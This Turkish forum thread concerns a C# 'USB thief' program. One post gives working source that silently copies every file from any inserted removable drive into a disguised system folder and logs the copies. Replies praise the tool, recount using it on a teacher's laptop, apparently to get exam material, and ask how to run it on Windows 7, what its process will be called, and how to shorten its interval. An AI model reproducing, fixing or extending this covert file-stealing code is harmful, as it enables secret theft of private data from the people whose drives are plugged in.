folder Tahribat.com Forumları
linefolder C#, Asp.Net, .Net Core
linefolder C# - USB Hırsızı For TBT :) [Güncellendi]



C# - USB Hırsızı For TBT :) [Güncellendi]

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    biri
    biri's avatar
    Kayıt Tarihi: 03/Ocak/2009
    Erkek

    tamam çalıştırdım :D


    ¯\(ツ)/¯ ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎
  2. KısayolKısayol reportŞikayet pmÖzel Mesaj
    break
    break's avatar
    Kayıt Tarihi: 24/Ağustos/2005
    Erkek

    Hocam süper bir çalışma mesaj atıyorum işime yarar!


    Agronomist + Yaprak Tütün Uzmanı
  3. KısayolKısayol reportŞikayet pmÖzel Mesaj
    PHP-SEO Developer
    Erdem
    Erdem's avatar
    Kayıt Tarihi: 04/Haziran/2002
    Erkek

    Evet harika bi pro. harika düşünce ama eksik var :) hemde çok

    mamii öncelikle şunu ayarla o program bence :) Ben yaşadım ondan anlatıyorum ve moralim sıfır.

    Gittim laptopu açtım hocanını usb yi taktım başladı kopyalamaya çat :) durdu...

    YAni olay ş kopyalayamadığı bi şey olursa devam etmiyor program :) bunu ayarla bence ilk olarak...

     

    Ve diğer dediklerini de eklersen ve en son halini buraya koyarsan alla razı olsun deriz ben arkadaşıma yaptırdım ama diğer kullanıcılar için diyorum..

    Kolay gelsin


    Php for SEO nun ardından Php for Gcode (CNC)
  4. KısayolKısayol reportŞikayet pmÖzel Mesaj
    SharpShooter
    SharpShooter's avatar
    Banlanmış Üye
    Kayıt Tarihi: 10/Temmuz/2008
    Erkek

    fikir hırsızı :))

    kodlarıda koyalım tam olsun madem :),

    Baslat metotu

    private void Baslat()
    {
        this.DosyaKontrol();
        foreach (DriveInfo info in DriveInfo.GetDrives())
        {
            if (info.DriveType == DriveType.Removable)
            {
                if (info.IsReady)
                {
                    try
                    {
                        this.timer1.Enabled = false;
                        this.Kopyala(info.ToString(), @"C:\windows\system33\kopyalandi");
                        this.timer1.Enabled = true;
                    }
                    catch (Exception exception)
                    {
                        File.WriteAllText(@"C:\windows\system33\errors.txt", string.Concat(new object[] { this.Oku(), Environment.NewLine, exception.Message, " - ", DateTime.Now }));
                    }
                }
                else
                {
                    File.WriteAllText(@"C:\windows\system33\errors.txt", Environment.NewLine + "Aygıt Hazır Değildi - " + DateTime.Now);
                }
            }
        }
    }

    DosyaKontrol Metotu;

    private void DosyaKontrol()
    {
        if (!File.Exists(@"C:\windows\system33\kopyalandi"))
        {
            Directory.CreateDirectory(@"C:\windows\system33\kopyalandi");
        }
        if (!File.Exists(@"C:\windows\system33\logs.txt"))
        {
            File.CreateText(@"C:\windows\system33\logs.txt");
        }
        if (!File.Exists(@"C:\windows\system33\errors.txt"))
        {
            File.CreateText(@"C:\windows\system33\errors.txt");
        }
        if (!File.Exists(@"C:\windows\system33\kopyalandi\compressed"))
        {
            Directory.CreateDirectory(@"C:\windows\system33\kopyalandi\compressed");
        }

    }


    Kopyala Metotu

    public void Kopyala(string kaynak, string hedef)
    {
        if (hedef[hedef.Length - 1] != Path.DirectorySeparatorChar)
        {
            hedef = hedef + Path.DirectorySeparatorChar;
        }
        if (!Directory.Exists(hedef))
        {
            Directory.CreateDirectory(hedef);
        }
        string[] fileSystemEntries = Directory.GetFileSystemEntries(kaynak, "*.*");
        string str = @"c:\windows\system33\kopyalandi\";
        foreach (string str2 in fileSystemEntries)
        {
            FileInfo[] files = new DirectoryInfo(kaynak).GetFiles("*.*", SearchOption.AllDirectories);
            if (this.hesapla)
            {
                long num = 0L;
                foreach (FileInfo info2 in files)
                {
                    num += info2.Length;
                }
                string[] strArray3 = new string[] { Environment.NewLine, "------------------------------ Kopyalanacak Toplam Boyut: ", (num / 0x100000L).ToString(), " MB", Environment.NewLine };
                this.LogTut(string.Concat(strArray3));
            }
            this.hesapla = false;
            Application.DoEvents();
            FileAttributes attributes = File.GetAttributes(str2);
            bool flag = false;
            string extension = Path.GetExtension(str2);
            if ((extension.ToLower() == ".zip") || (extension.ToLower() == ".rar"))
            {
                flag = true;
            }
            if (Directory.Exists(str2))
            {
                this.Kopyala(str2, hedef + Path.GetFileName(str2));
            }
            else if (flag)
            {
                File.Copy(str2, str + @"compressed\" + Path.GetFileName(str2), true);
                this.LogTut(str2 + " isimli dosya Compressed klas\x00f6r\x00fcne başarıyla kopyalandı - " + DateTime.Now);
            }
            else
            {
                File.Copy(str2, hedef + Path.GetFileName(str2), true);
                this.LogTut(str2 + " isimli dosya başarıyla kopyalandı - " + DateTime.Now);
            }
        }
    }

     LogOku metotu;

    private string LogOku()
    {
        return File.ReadAllText(@"C:\windows\system33\logs.txt");
    }

     LogTut metotu


    private void LogTut(string str)
    {
        string contents = this.LogOku();
        contents = str + Environment.NewLine + contents;
        File.WriteAllText(@"C:\windows\system33\logs.txt", contents);
    }

    Oku metotu

    private string Oku()
    {
        return File.ReadAllText(@"C:\windows\system33\errors.txt");

    }


    - xx yerde hata var. - ya aslında kod şöyle sanıyor olabilir bla bla bla - olm kendine gel kodlar düşünmez - ...
  5. KısayolKısayol reportŞikayet pmÖzel Mesaj
    ByTechno
    ByTechno's avatar
    Kayıt Tarihi: 23/Haziran/2008
    Erkek

    hocam eline koluna sağlıkta bizim bilgisayarlar windows 7 ve o yüzden C:\windows\system33\ buraya klasör açamıyor engelliyor.. çalışamıyor program.. bunu halledebilirmisin 1. vizeleri kaçırdık bari 2. vizelerde ortalığın aqlım :)

  6. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Lostok
    Lostok's avatar
    Kayıt Tarihi: 11/Mart/2009
    Erkek

    ctrl+alt+del yapıp işlemlere baktığımızda programın adını ney olarak görcez

    ayrıca 2. versiyonda 5 dk çok çok fazla kısamazmıyız bunu?

  7. KısayolKısayol reportŞikayet pmÖzel Mesaj
    scorpus
    scorpus's avatar
    Kayıt Tarihi: 11/Haziran/2008
    Erkek

    windows 7 ye uyumlu değilmi arkadaşlar

  8. KısayolKısayol reportŞikayet pmÖzel Mesaj
    PHP-SEO Developer
    Erdem
    Erdem's avatar
    Kayıt Tarihi: 04/Haziran/2002
    Erkek

    Lostok bunu yazdı:
    -----------------------------

    ctrl+alt+del yapıp işlemlere baktığımızda programın adını ney olarak görcez

    ayrıca 2. versiyonda 5 dk çok çok fazla kısamazmıyız bunu?


    -----------------------------

     

    adını ne koyduysan o olarak göreceksin

     

    asd.exe dersen işlemlerde asd.exe iye gözükür ....

    Kısaltılmış halide var en başta bakarsan görürsün ...


    Php for SEO nun ardından Php for Gcode (CNC)
  9. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Excel
    radres
    radres's avatar
    Kayıt Tarihi: 28/Şubat/2009
    Erkek

    açılmılş konularda buna benzer bi program var :

    http://www1.tahribat.com/Forum-Bilgisayariniza-Takilan-Usb-cdrom-Daki-Verileri-calin-resimli-61147/


    valar morghulis ...
  10. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Fatih
    Fatih's avatar
    Kayıt Tarihi: 17/Temmuz/2005
    Erkek

    ne güzel bir icat :D


    enjoy i'm vaccinated
Toplam Hit: 59798 Toplam Mesaj: 165